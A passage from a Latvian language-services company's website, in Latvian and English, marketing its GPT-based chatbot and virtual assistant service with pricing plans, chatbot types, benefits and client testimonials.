pirkumiem, un padara viņu norēķināšanās procesu vienmērīgu - tas viss veicina neaizmirstamu pieredzi ar Jūsu zīmolu. Sarunboti ne tikai atbild, tie iesaistās, pārvēršot katru saskarsmi par iespēju stiprināt attiecības ar klientiem. Vadot klientus caur pirkumu procesiem un vienkāršojot datu vākšanu ar draudzīgām norādēm, sarunboti: samazina spriedzi, kas parasti saistīta ar tiešsaistes darījumiem; palīdz samazināt pirkumu grozu pamešanu skaitu; rūpējas par uzticību un lojalitāti zīmolam. Rezultāts ir nepiespiesta, personīga un patiesi apmierinoša klientu pieredze. OPTIMIZĒTA SAZIŅA Sarunboti ne tikai uzlabo klientu pieredzi, bet arī radikāli maina uzņēmējdarbības saziņas veidu. Automatizējot ikdienišķus jautājumus un vācot būtisku informāciju par klientiem, sarunboti nodrošina, ka katra saruna ir pastāvīga un pieejama lietotājiem vienmēr. Tie uzņemas pirmās atbalsta līnijas lomu, efektīvi pārvaldot potenciālo klientu izvērtēšanu un virzot tos caur pārdošanas pirmajiem posmiem. Šī automatizācija ne tikai veicina darbības efektivitāti, bet arī ļauj cilvēkiem koncentrēties uz sarežģītākiem un stratēģiskākiem uzdevumiem. Iespēja iekļaut sarunbotus ziņojumapmaiņas lietojumprogrammās piedāvā vairākas priekšrocības: ātra un precīza ienākošo sakaru apstrāde; sarunas virzīšana uz priekšu bez pastāvīgas cilvēku uzraudzības; ātra atbilde uz klientu jautājumiem; uzlabota mijiedarbību kvalitāte, sarunbotiem nodrošinot atbilstošas atbildes uz lietotāju vaicājumiem; efektīvāka saziņas ekosistēma. SARUNBOTU UZSTĀDĪŠANA: INTEGRĒŠANA UN PIELĀGOŠANA Sarunbotu uzstādīšana nav tikai vienkārša programmas uzstādīšana, tā ietver arī to integrēšanu zīmola digitālās būtības kodolā. Sarunbotus var integrēt dažādos kanālos, sākot ar tīmekļa vietnēm un beidzot ar sociālo mediju platformām, piemēram, Instagram un Facebook, tādējādi nodrošinot pastāvīgu pieredzi neatkarīgi no tā, kur klienti izvēlas iesaistīties. Sarunboti kalpo kā universāls risinājums, kas vienmēr ir gatavs darbam, automatizējot atbildes uz bieži uzdotiem jautājumiem un sniedzot pamatinformāciju par produktiem un pakalpojumiem. Taču integrācija ir tikai maza daļa no visa, pirms mākslīgais intelekts var veikt savu darbību. Pielāgošana ir tā, kas padara sarunbotu unikālu, atspoguļojot Jūsu zīmola vērtības katrā mijiedarbībā. Runa ir par izskata personalizēšanu, atbilžu un stila precizēšanu un nodrošināšanu, ka sarunbots kļūst par dabisku klientu apkalpošanas komandas paplašinājumu. Tā kā sarunbots sadarbojas ar lietotājiem, nepārtraukta pārraudzība un lietotāju atsauksmes kļūst būtiski svarīgas, lai uzlabotu tā veiktspēju, nodrošinot, ka tas joprojām ir dinamisks, attīstošs rīks, kas nemainīgi atbilst Jūsu klientu vajadzībām. INTEGRĀCIJA AR ZIŅOJUMAPMAIŅAS PROGRAMMĀM Ziņojumapmaiņas lietojumprogrammas ir visur, šī iemesla dēļ tās ir kļuvušas par izšķirošu saskarsmes punktu uzņēmumiem, kas vēlas sazināties ar klientiem. Sarunbotus var nemanāmi integrēt tādās platformās kā, piemēram, Facebook Messenger un WhatsApp, tādējādi nodrošinot tiešu un personisku veidu, kā piesaistīt lietotājus. Sarunboti šajās lietojumprogrammās veic dažādas funkcijas, sākot ar klientu apkalpošanu, beidzot ar pārdošanu un mārketingu, kā arī piedāvā ātru un individuāli pielāgotu atbalstu. Šobrīd viena no galvenajāmsarunbotu, kas integrēti dažādos saziņas kanālos, priekšrocībām ir spēja nezaudēt kontekstu pat tad, kad lietotāji pārslēdzas starp saziņas kanāliem. Šī vienmērība ir būtiska, lai klienti būtu apmierināti, jo tā nodrošina, ka saruna sākas turpat, kur beidzās, nepalaižot garām itin neko. Šobrīd ar tādiem plāniem kā Standarta plāns, kas ietver ziņojumapmaiņas integrāciju, tērzēšanas pakalpojumu uzstādīšana šajos kanālos nekad nav bijusi tik vienkārša, tādējādi ļaujot sadarboties ar saviem klientiem tur, kur viņi atrodas visbiežāk. SARUNBOTU PIELĀGOŠANA JŪSU ZĪMOLAM Sarunbots ir ne tikai sarunu ceļrādis, tas ir zīmola vēstnesis. Sarunbota pielāgošana nodrošina, ka tas atbilst Jūsu zīmola identitātei, un pauž tikai to, kas atspoguļo Jūs. Sākot ar vārdu izvēli un beidzot ar vizuālajiem elementiem, piemēram, krāsām un attēliem, katru sarunbota aspektu ir iespējams pielāgot atbilstoši zīmolam. Pielāgošana nav tikai estētika – tā ir arī ar vienotas lietotāja pieredzes radīšana, kas atspoguļo uzņēmuma pamatvērtības un personību. Sarunbotu integrēšana ar CRM sistēmām piedāvā vairākas priekšrocības, tostarp: pielāgošana: šis robots var izmantot klientu ieskatus un atbilstoši pielāgot saziņu, paceļot personalizāciju jaunā līmenī; daudzvalodu atbalsts: attīstītākie sarunboti var sniegt atbalstu vairākās valodās, nodrošinot, ka Jūsu zīmols sasniedz klientus visā pasaulē pieejamā un pastāvīgā veidā; efektīva iesaiste: izmantojot pareizo apmācību, piemēram, to, kas iekļauta mūsu Biznesa plānā, kur virtuālais asistents ir apmācīts ar 700 datņu un tīmekļa vietņu informāciju, Jūsu sarunbots kļūs par efektīvu rīku klientu iesaistei un spēcīgu, ilgstošu attiecību veidošanai. PILNVĒRTĪGA SARUNBOTU POTENCIĀLA IZMANTOŠANA Neskatoties uz to, ka tie ir ietekmīgi rīki, arī sarunbotiem ir robežas. Lai pilnībā izmantotu to potenciālu, ir svarīgi sistemātiski noteikt un risināt tādas problēmas kā sarunu ierobežojumi un mākslīgā intelekta funkcionālie ierobežojumi. Efektīvākās metodes ietver pareizo saziņas kanālu atlasi un partnerību veidošanu ar sarunbotu risinājumu nodrošinātājiem, kas nodrošina, ka sarunbots atbilst lietotāju vēlmēm un Jūsu uzņēmuma mērķiem. Sadalot informāciju mazākos segmentos un atdarinot cilvēku sarunu modeļus, var ievērojami uzlabot sarunbotu saziņas spējas un novērst lietotāju informācijas pārslodzi. Izšķiroša nozīme ir arī tam, lai sarunbots nodrošinātu rezerves stratēģiju, jo tā uztur dialoga plūsmu un lietotāju iesaistīšanos, kad sarunbots sastopas ar jautājumu, uz kuru nevar atbildēt. Runa ir par vienmērīgas pieredzes radīšanu, kur lietotājs jūtas atbalstīts visas saskarsmes laikā - gan no sarunbota, gan reālā aģenta puses. Īstenojot šīs standarta procedūras, uzņēmumi var pārvarēt sarunbotiem raksturīgos ierobežojumus un maksimāli palielināt to ietekmi uz klientu apkalpošanu un iesaistīšanos, tādējādi nodrošinot gan sarunbota pareizu darbu, gan ievērojami biežāk izvairīties no kavēšanās precīzi atbildēt uz klientu jautājumiem. PAREIZĀS SARUNBOTA PLATFORMAS IZVĒLE Platformas izvēle var būtiski ietekmēt Jūsu sarunbota piedāvāto funkcionalitāti un sniegumu, kā arī Jūsu apmierinātību. Labi izvēlēta platforma nodrošinās: tūlītēju, vienmēr pieejamu atbalstu; klientu vēlmēm atbilstošas informācijas atspoguļošanu; budžetam draudzīgu atbalstu bez papildu personāla piesaistīšanas; iespēju pielāgoties saziņas stratēģijai; integrāciju ar esošajām sistēmām. Pret šo atlases procesu ir jāizturas rūpīgi un ar skaidru izpratni par sava uzņēmuma vajadzībām un potenciālo sarunbotu platformu iespējām, nodrošinot, ka izvēlētais risinājums var izpildīt Jūsu prasības. Neatkarīgi no tā, vai koncentrējaties uz mākslīgā intelekta sarunbotiem, kas var simulēt cilvēka sarunas, vai uz standarta sarunbotiem, kas apstrādā vispārīgus jautājumus, platformai jābūt stabilai, mērogojamai un lietotājam draudzīgai. Tai jāpiedāvā pareizais funkciju līdzsvars, piemēram, dabiskās valodas apstrāde, mašīnmācīšanās un CRM integrēšana, lai Jūsu virtuālais asistents varētu darboties pēc iespējas labāk. Izmantojot pareizo platformu, Jūsu sarunbots kļūst par spēcīgu rīku, kas uzlabo klientu saskarsmi un veicina uzņēmējdarbības izaugsmi. DATU PRIVĀTUMA UN DROŠĪBAS NODROŠINĀŠANA Laikā, kad dati ir vissvarīgākie, ļoti būtiska ir klientu informācijas drošība. Ļaunprātīgi sarunboti rada reālus draudus, kas nereti radīti, lai imitētu cilvēka uzvedību, apkopojot personas datus vai izplatot nepatiesu informāciju. Tā kā ģeneratīvā mākslīgā intelekta darbināmi sarunboti attīstās arvien vairāk, tie rada sarežģījumus datu apstrādē, kas var novest pie datu noplūdes un konfidencialitātes problēmām. Lai cīnītos pret šiem riskiem, ir būtiski, lai sarunbotu platformas izmantotu stingrus drošības pasākumus, piemēram, augsta līmeņa šifrēšanu un datu uzturēšanu drošās, specializētās platformās. Tādas platformas kā Appy Pie Chatbot ir izcils piemērs sarunbotu drošībai, integrējot visaptverošas drošības funkcijas, lai aizsargātu lietotāju datus. Kad uzstādāt sarunbotu, ņemiet vērā: ieviesto drošības infrastruktūru un tās atbilstību starptautiskajiem tiesību aktiem un standartiem; kā sarunbots sargā klientu informāciju; kā sarunbots pastiprina uzticību zīmolam. Drošs sarunbots, kas darbojas kā uzticama datorprogramma saziņai, ir neatņemams rīks Jūsu digitālajā arsenālā. SARUNBOTU PIEMĒRI NO REĀLĀS PASAULES: VEIKSMES STĀSTI DAŽĀDĀS NOZARĒS Sarunbotu efektivitātes apliecinājums ir to plašā pieņemšana un panākumi dažādās nozarēs, piemēram: apdrošināšanas sabiedrībās, kuras izmanto sarunbotus polišu piedāvājumiem un prēmiju iekasēšanai; valdības iestādēs, kuras piedāvā palīdzību pilsonības un imigrācijas jautājumos; sabiedrisko pakalpojumu uzņēmumos, kuri izmanto sarunbotus, lai sniegtu klientu atbalstu, atvieglotu rēķinu apmaksu un piedāvātu palīdzību pēc pieprasījuma bez nepieciešamības apmeklēt biroju. Sarunbotu programmatūra šajās nozarēs izrādās daudzpusīga un efektīva. Appy Pie sarunbotu veidotājs ir apliecinājums sarunbotu elastīgumam, ļaujot uzņēmumiem izveidot pielāgotus robotus dažādām funkcijām, piemēram, jautājumiem, pierakstu plānošanai un tiešsaistes tērzēšanas atvieglošanai. Sarunbotu spēja apkalpot vairākas nozares parāda to pielāgošanās spēju un ietekmi, sākot ar finanšu tehnoloģiju klientu servisu un beidzot ar mazumtirdzniecības pakalpojumiem un laika prognozēm. Tā kā lielākie uzņēmumi uzstāda sarunbotus dažādās nozarēs, ir skaidrs, ka šī tehnoloģija nav pārejoša tendence, bet gan esošās paradigmas maiņa, kas pārveido to, kā uzņēmumi sazinās. SARUNBOTI E-KOMERCIJĀ E-komercijas jomā sarunboti ievieš pozitīvas pārmaiņas klientu pieredzē, jo īpaši uzlabojot apmierinātību un konversijas ātrumu. Tādi uzņēmumi kā Cdiscount un Vanden Borre ir pieredzējuši ievērojamus klientu apmierinātības rādītāju uzlabojumus, pateicoties ģeneratīvā mākslīgā intelekta darbināmo sarunbotu ieviešanai, kas piedāvā personalizētu un efektīvu servisu. Šie sarunboti ir spējīgi dubultot vai pat pieckāršot konversijas ātrumu, iesaistot klientus interaktīvākā un personalizētākā veidā, kā tas redzams Vanden Borre un Cdiscount gadījumos. Runa nav tikai par mērījumu, bet arī iepirkšanās pieredzes uzlabošanu. Piemēram, IKKS panāca iespaidīgu 18% konversijas ātrumu pilnībā automatizētām sarunām, parādot sarunbotu spēju efektīvi virzīt klientus pareizajā virzienā iepirkšanās laikā. E-komercijas sarunboti pārdefinē mazumtirdzniecību, nodrošinot klientu atbalsta un iesaistes līmeni, kas iepriekš nav bijis sasniedzams, pārvēršot pārlūkprogrammas par pircējiem un jautājumus par konversijām. SARUNBOTI VESELĪBAS APRŪPĒ Veselības aprūpes jomā sarunboti nodrošina pacientu aprūpes un administratīvās efektivitātes uzlabošanu. Tie sniedz pieejamu medicīnisko palīdzību, palīdzot pacientiem vieglāk un ar lielāku pārliecību orientēties veselības aprūpes sistēmā. Vienkāršojot pierakstu grafika sagatavošanas procesu, veselības aprūpes sarunboti ļauj pacientiem bez piepūles pārskatīt pierakstus, tādējādi iegūstot vienmērīgāku un apmierinošāku veselības aprūpes pieredzi. Turklāt tie kalpo kā uzticami medicīniskās informācijas avoti, atbildot uz jautājumiem, kas saistīti ar veselību, un nodrošina pacientiem zināšanas, kas vajadzīgas, lai pieņemtu apzinātus lēmumus. Sarunbotu ieviešana veselības aprūpē piedāvā vairākus ieguvumus, tostarp: samazinātu administratīvo slodzi veselības aprūpes sniedzējiem; pastāvīgu atbalstu; ikdienas uzdevumu izpildi; medicīnas personāla noslodzes samazināšanu, lai atvieglotu koncentrēšanos uz labākas aprūpes nodrošināšanu; uzlabotu pacientu apmierinātību; uzlabotu darbības efektivitāti.   Tādējādi veselības aprūpes sarunboti nav tikai saziņas līdzekļi, tie ir partneri kvalitatīvas aprūpes sniegšanā un veselības aprūpes pakalpojumu optimizēšanā. KOPSAVILKUMS Apkopojot šo sarunbotu izpēti, ir skaidrs, ka mākslīgā intelekta sarunu vedēji ir vairāk nekā tikai tendence, tiem piemīt transformatīvs klientu iesaistes un rīcības, kā arī darba efektivitātes spēks. Sarunboti ievieš arvien jaunas izmaiņas veidos, kā uzņēmumi sazinās ar klientiem – sākot no daudzveidīgām lietotnēm dažādās nozarēs līdz to pielāgojamajam raksturam un nepārtrauktai pieejamībai. Neatkarīgi no tā, vai tas notiek, uzlabojot lietotāju pieredzi, optimizējot saziņu vai nodrošinot datu drošību, sarunboti ir apliecinājums tehnoloģiju spējai veicināt uzņēmējdarbības izaugsmi un klientu apmierinātību. Pieņemt un integrēt sarunbotus nenozīmē tikai sekot līdzi tehnoloģiju attīstībai, bet arī atjaunot tās nozīmi. Ja vēlaties uzstādīt savā tīmekļa vietnē sarunbotu, kas pielāgots tieši jūsu uzņēmuma būtībai, sazinieties ar mums un mēs jums palīdzēsim. Ja nepieciešama papildu informācija vai konsultācija saistībā ar sarunbota iespējām, piesakieties tiešsaistes konsultācijai un mēs sniegsim atbildes uz jūsu jautājumiem. KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Enjoy the chatbot services offered by Skrivanek. Provide answers to your customers' questions 24/7. Get in touch today! - Published: 2024-05-20 - Modified: 2025-07-17 - URL: https://skrivanek.lv/pakalpojumi/virtualais-asistents/ - Translation Priorities: Optional WHY WORK WITH SKRIVANEK? Skrivanek Baltic is a leading language company in Latvia, providing high-quality foreign language learning and translation services. The aim is not only to provide a virtual assistant on your website but also a great service experience. Our customers appreciate us for this reason. Here’s what you can expect when working with us: A deeper understanding of the client's brand: we take into account your brand essence when designing the chatbot. We will use your website content to build the personality and knowledge base of the chatbot, ensuring it reflects the unique character of your business. Design and integration: we will personalise the look and functionality of your chatbot to match your brand essence. We will ensure a seamless integration process with your website. Expertise in AI and natural language processing (NLP): we use AI and NLP technologies to create virtual assistants or chatbots that mimic human interaction. This enables real-time, AI-enhanced communication that can significantly increase efficiency. International success: we offer a comprehensive approach to Software as a Service (SaaS) localisation services that can help your virtual assistant adapt to any market and gain traction with users around the world. WHAT IS A CHATBOT? A virtual assistant, or chatbot, is a computer program that creates a dialogue between a human and a computer by executing human commands and extracting and displaying data. By implementing this technology, companies, governments and other organisations can serve their website users more efficiently, as the virtual assistant responds faster than a human, and can have simultaneous conversations with many customers in different languages from different countries. Users of the virtual assistant functionality can get the answer they need instantly, without having to wait long for an email reply, wait on the phone for a customer service agent to finish talking to another customer, or queue up for a helpdesk. The knowledge of the virtual assistant is based on the most frequently asked questions and answers from users of the organisation’s website. There are many different variants that can be used to describe virtual assistants in text or conversation, such as a chatbot, AI assistant or automated agent. Need your own virtual assistant or chatbot? Contact us! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation to find out more about chatbot options now! STANDARD – 109 EUR 1600 Messages included per month; No Limit Leads per month; Advanced Model (GPT-4o); Virtual assistant trained on 350 files and Webpages; Multi-User (up to 10); Unlimited Website Deployment; Messenger Integration; Limited CRM Integrations; White label solution; Virtual assistant training included in the price; Supports 110+ languages. BUSINESS – 149 EUR 5000 Messages included per month; No Limit Leads per month; Advanced Model (GPT-4o); Virtual assistant trained on 700 files and Webpages; Unlimited Website Deployment; Multi-User (up to 10); 5+ CRM Integrations; Premium Support; White label solution; Virtual assistant training included in the price; Supports 110+ languages; EUR 0. 015 Per Additional Message. TYPES OF CHATBOTS FOR DIFFERENT BUSINESS NEEDS Chatbots are as diverse as the businesses they serve, and each is designed to meet a specific need. At one end of the spectrum, we have a menu-driven chatbot that is ideal for direct customer support and lead generation. These rule-based chatbots help users navigate between a number of pre-configured options, offering both a predictable and efficient level of interaction. At the other end of the spectrum are sophisticated AI-powered, intelligent virtual assistants that use machine learning to adapt and evolve, turning every customer interaction into a learning opportunity. In situations that require human attention and a final say, hybrid chatbots offer the best of both worlds, combining the efficiency of automation with the nuanced insight of a live professional. They start with automated conversations, trying to resolve users’ questions quickly, but can seamlessly switch to a human when the conversation becomes too complex for the robot to handle. This ensures that when customers leave the chat window, they always feel listened to and their problem is solved, regardless of its complexity. In fact, the types of chatbots one can have are as varied as the conversations they deliver, ensuring that every business can find the virtual assistant that best fits their unique narrative. RULE-BASED CHATBOTS Rule-based chatbots are the most reliable. They work on an “if/then” conditional basis, guided by user preferences, and leading users along a structured path. These chatbots are particularly useful for companies with well-defined user questions and a need for consistent, reliable answers. By evaluating specific terms such as keywords and synonyms, these chatbots can precisely guide the communication with the customer, ensuring that each user’s question is addressed in a specific way. However, the strengths of rule-based chatbots can also be their weaknesses. Their reliance on predefined rules means that they may struggle with unexpected or complex issues, which can lead to customer dissatisfaction if these issues are not handled correctly. This is where the power of a well-designed exit strategy comes in, providing a safety net that keeps the conversation on track even when the robot reaches its programmed limits. With the right setup, rule-based chatbots can serve as an invaluable tool to manage high volumes of customer interactions, drive traffic and ensure that every conversation is a step towards resolution. INTELLIGENT CHATBOTS Intelligent chatbots are true masters - they expertly communicate with people by mirroring human interactions close to reality. They can thank machine learning algorithms for their intelligence; they learn from every interaction, becoming smarter and more efficient over time. These robots have contextual awareness, remembering previous conversations and understanding the nuances of communication to ensure relevant and personal interactions, especially with repeat customers. The potential of intelligent chatbots continues to expand as advances in artificial intelligence technologies push the boundaries and prove that the impossible is in fact possible. They are evolving - from being able to provide simple answers to questions, to being able to engage in complex, empathetic conversations and provide contextually rich answers, adapting to the user’s style. By developing their skills in human language and natural conversation, these intelligent chatbots are revolutionising customer service, offering a way of communicating that is not just automated, but truly engaging. HYBRID CHATBOTS Hybrid chatbots are a great example of customer service progress, where automation combines with human intuition. These chatbots start the conversation by providing quick answers to frequently asked questions and trying to solve issues independently. But if the customer’s needs go beyond the dialogue, the conversation is seamlessly handed over to an online agent, maintaining the flow of the conversation without losing context. This combination of automated and personalised support ensures that customers receive the right help for their specific situation. Hybrid chatbots efficiently handle a wide range of support scenarios, from the simplest to the most complex, ensuring that every customer interaction is handled with care and precision. By harnessing the strengths of both AI-powered chatbots and human agents, companies can deliver an exceptional level of service that is both efficient and empathetic, meeting customers’ ever-growing expectations. WHAT ARE THE MAIN ADVANTAGES OF CHATBOTS? Imagine a world where at least 88% of people have spoken to a robot at least once a year, and - miraculously - most of those conversations have not ended in a digital duel. Undeniably, chatbots, AI assistants, automated agents, or virtual assistants have made a permanent home in our virtual everyday lives. In 2022, almost 9 out of 10 internet users were very familiar with these chatty assistants. It’s like turning up at a party and realising that the most interesting person you met turned out to be the virtual assistant on your phone. Want to know the best? Surveys show that 62% of us would rather pour their heart out to a chatbot than wait 15 minutes for a living, breathing person to grace us with an answer. It seems that when it comes to queuing, patience is not a virtue alone, but a long-lost art. And when it comes time to solve our problems, these chatbots are no longer just a nice communication tool. They deal with users’ questions and problems after just 10 queries, and in 90% of cases, even faster. Such efficiency makes even the most experienced customer service professional gasp in amazement. We live in a time when chatbots are becoming our usual quick question answerers, shopping assistants and, of course, listeners to our pains and difficulties. Clearly, they are here to stay. Businesses are already saving billions in customer support costs, with retail consumer spending through chatbot technology forecast to reach $ 142 billion by 2024 since the introduction of chatbot technology. If only we could teach them to understand sarcasm, we might be able to survive this era of digital change with a clear mind and a healthy set of nerves. With the ability to provide instant help in real time, AI assistants have fundamentally changed the way we work in customer service, sales and beyond. These powerful tools use natural language processing for personalised conversations and can dramatically improve service efficiency. Below, we will explain how chatbot technology works, its benefits, practical applications and tips for successful business implementation, helping you to leverage this AI assistant technology for both customer service and business process optimisation. HOW TO GET YOUR OWN CHATBOT – CONTACT SKRIVANEK NOW! Skrivanek chatbot solution - what is it, how does it work and how can it help you grow your business and make your job easier? Chatbot training: we start with a thorough study of your brand and its tone of voice. We take the content of your website as a basis and train your chatbot, giving it both a personality and the knowledge base it needs to navigate your products and company. To further tailor the chatbot to your customer service standards, our team will ask you to send any additional materials. It is highly recommended that the materials are in PDF format or other editable documents, which will help us save time and significantly improve the performance of the chatbot by further tailoring it to your needs and services. Design and implementation of the chatbot: next, we work on the personalisation of the chatbot, giving the virtual assistant the visual appearance, name and functionality you want. Our aim is to tailor the visual elements of the chatbot so that they resonate with your brand. In this way, we ensure a smooth implementation process on your website, providing you with all the details you need to make the chatbot work as efficiently as possible. We ensure that the virtual assistant is not just a visual tool, but also a powerful support tool, ready to proactively serve your customers. Once successfully trained and installed on your website, the virtual assistant becomes a mediator between your company and your customers, providing them with immediate, real-time assistance right there on the website. Additionally, at ai. skrivanek. pl you will be able to access a comprehensive dashboard where you can monitor your chat history, track the leads you have collected and gather valuable information about customer interactions. This centralised platform will help you optimise your chatbot performance and improve your customer engagement strategy, answering customer questions more accurately, and making your virtual assistant an invaluable business asset. WHAT IS NEEDED EXACTLY TO SET UP AND DEVELOP YOUR AI ASSISTANT? Website domain name: this will be the primary source from which we will retrieve texts about your brand, industry and products, allowing us to match the tone and functionality of the chatbot to your business needs. Additional materials to practice the conversation: if you would like to tailor the responses of the chatbot to your specific needs, we will be happy to provide materials in PDF or another editable document format. These materials will serve as a specialised knowledge base for your chatbot, ensuring that they are well versed in your offer or the specifics of your industry. By receiving these resources, we will be able to create a chatbot that is not only technologically superior, but truly reflects your brand, helping you to attract new customers and quickly deliver high-fidelity information to existing customers. WHAT CAN VIRTUAL ASSISTANTS DO NOWADAYS? Artificial intelligence assistants help you answer customer questions efficiently while the customer is browsing the product on your website. This is made possible by the latest advances in natural language processing and machine learning, providing you with customer support and interaction around the clock. Chatbots can be adapted to a wide range of business needs, from simple rule-based chatbot models to complex AI and hybrid chatbots that combine efficiency with a nuanced understanding of complex questions and problem situations. The successful implementation of a chatbot depends on choosing a smart platform and training the right chatbot to reflect your brand, ensure data security, and allow us to continuously improve its capabilities based on user experience and feedback. And to make sure that communication with our customers improves and is as effective as possible, whatever the question. THE ABILITY TO ANSWER CUSTOMER QUESTIONS A chatbot set-up creates a virtual presence and presence for the company, enabling 24/7 customer response, a willingness to engage, educate and assist, a reduction in the human resources required to manually prepare responses and, most likely, an increase in the sales performance of the service or product. Imagine a chatbot that: can guide customers through a website; answers customer questions in real time; helps qualify leads; knows customer purchase history. What is the best? Implementing chatbots requires minimal coding, significantly reducing any technical barriers and making the technology accessible to both large, small and medium-sized enterprises. Your chatbot voice will speak for your brand, becoming a key customer service tool, enhancing the customer experience and driving engagement and action. ARTIFICIAL INTELLIGENCE ASSISTANT CONVERSATIONS These virtual conversationalists are evolving rapidly, as AI’s ability to create dialogues by proficiently mimicking human-to-human communication has improved significantly. They are no longer just pre-prepared and pre-programmed scripts, but real virtual assistants based on new scientific advances in AI technology. As far as possible, AI can already detect your mood, adapt the way you greet someone and even remember your favourite pizza toppings based on your previous conversation history. What is their secret? A combination of natural language processing, artificial intelligence and machine learning, which allows chatbots to not only understand text but also learn from every interaction with a human. Today’s AI chatbots are thus conceptually changing the nature of customer service, making it more efficient, personal and proactive. HOW CHATBOT TECHNOLOGY WORKS What will you see when you take a deeper look into AI chatbot technology? Certainly not a little robot that types incessantly, but complex algorithms and data models. These natural language processing robots can easily pick up on the intricacies of human communication – slang, misspellings and more – ensuring that they are able to understand what customers are really trying to say. It’s like having a conversation with a human who, thanks to machine learning, not only listens but also learns from every conversation. Imagine a robot that gets better with every “Hello! ” – this is continuous learning, where every conversation is another opportunity to improve. Want to know where the real magic of modern chatbots lies? Their memory. Past interactions are not just historical data; they are the key to the success of a truly personal service. Today, with technology like GPT-4 as part of our Standard Plan, these chatbots don’t only communicate, they resonate, offering communication so personalised that they seem to have known you for years. And of course, let’s not forget that these virtual geniuses are now also true language masters, holding conversations with customers around the world, and sometimes even throwing in a joke. So a chatbot -is not just about answering questions, it’s about making a real contact and connection. And who knows? Maybe next time you talk to a robot, it will surprise you with a joke that will really make you laugh! CHATBOT APPLICATIONS The wide range of applications highlights the versatility of chatbots, allowing them to be used in absolutely all walks of life - from banks to media, and from airlines to retail. These automated applications that respond to customer requests have become as versatile and useful as Swiss army knives. Chatbots provide a unified and continuous presence across multiple messaging applications, easily and seamlessly handling user interactions and experiences, as well as offering efficient and broad-ranging customer support. In e-commerce, chatbots have transformed the shopping experience by reducing abandoned virtual carts and accompanying customers from search to purchase with personalised recommendations and support. But a chatbot - is not just about selling products, it’s also about health care. Chatbots have become virtual carers in health care, making appointments, finding clinics and even providing medication information, -all designed to optimise patient care and improve the healthcare experience. The ability to integrate chatbots into mobile apps and websites means they can deliver these services right where users are, making communication convenient and useful. As virtual assistants, they are reliable and friendly, connecting businesses with their customers, ensuring that every interaction is an opportunity for engagement and satisfaction. BENEFITS OF USING CHATBOTS: IMPROVING CUSTOMER ENGAGEMENT AND OPERATIONAL EFFICIENCY The use of chatbots offers a number of benefits, including: 24/7 customer support, regardless of staff availability; round-the-clock service, i. e. , your customers get immediate help whenever they need it, thus boosting engagement, action and satisfaction; the scalability of chatbots allows them to handle multiple customer interactions simultaneously; no large support staff required to deal with customer queries, thus they can reduce administrative and staff costs. In addition to customer service, chatbots excel in: acquiring leads by sifting through historical interactions and information to identify potential buyers and help them to engage and purchase; improving operational efficiency by optimising processed data flows and achieving faster transactions; and improving various aspects of the business. By integrating the most advanced conversational interfaces, such as those using GPT-3 technology, customer engagement reaches new heights as queries are resolved instantly and communication becomes more interactive. IMPROVED CUSTOMER EXPERIENCE In today’s fast-paced world, people’s willingness to wait is shrinking, so customers expect instant support; this is exactly what chatbots provide, offering immediate help at any time of the day or night. This instant support, combined with the ability to personalise communications using customer data, greatly enhances the customer experience. Imagine a chatbot that greets and speaks to your customers by name, provides tailored recommendations based on their past purchases, and makes their checkout process seamless, - all contributing to a memorable experience with your brand. Chatbots don’t just respond, they 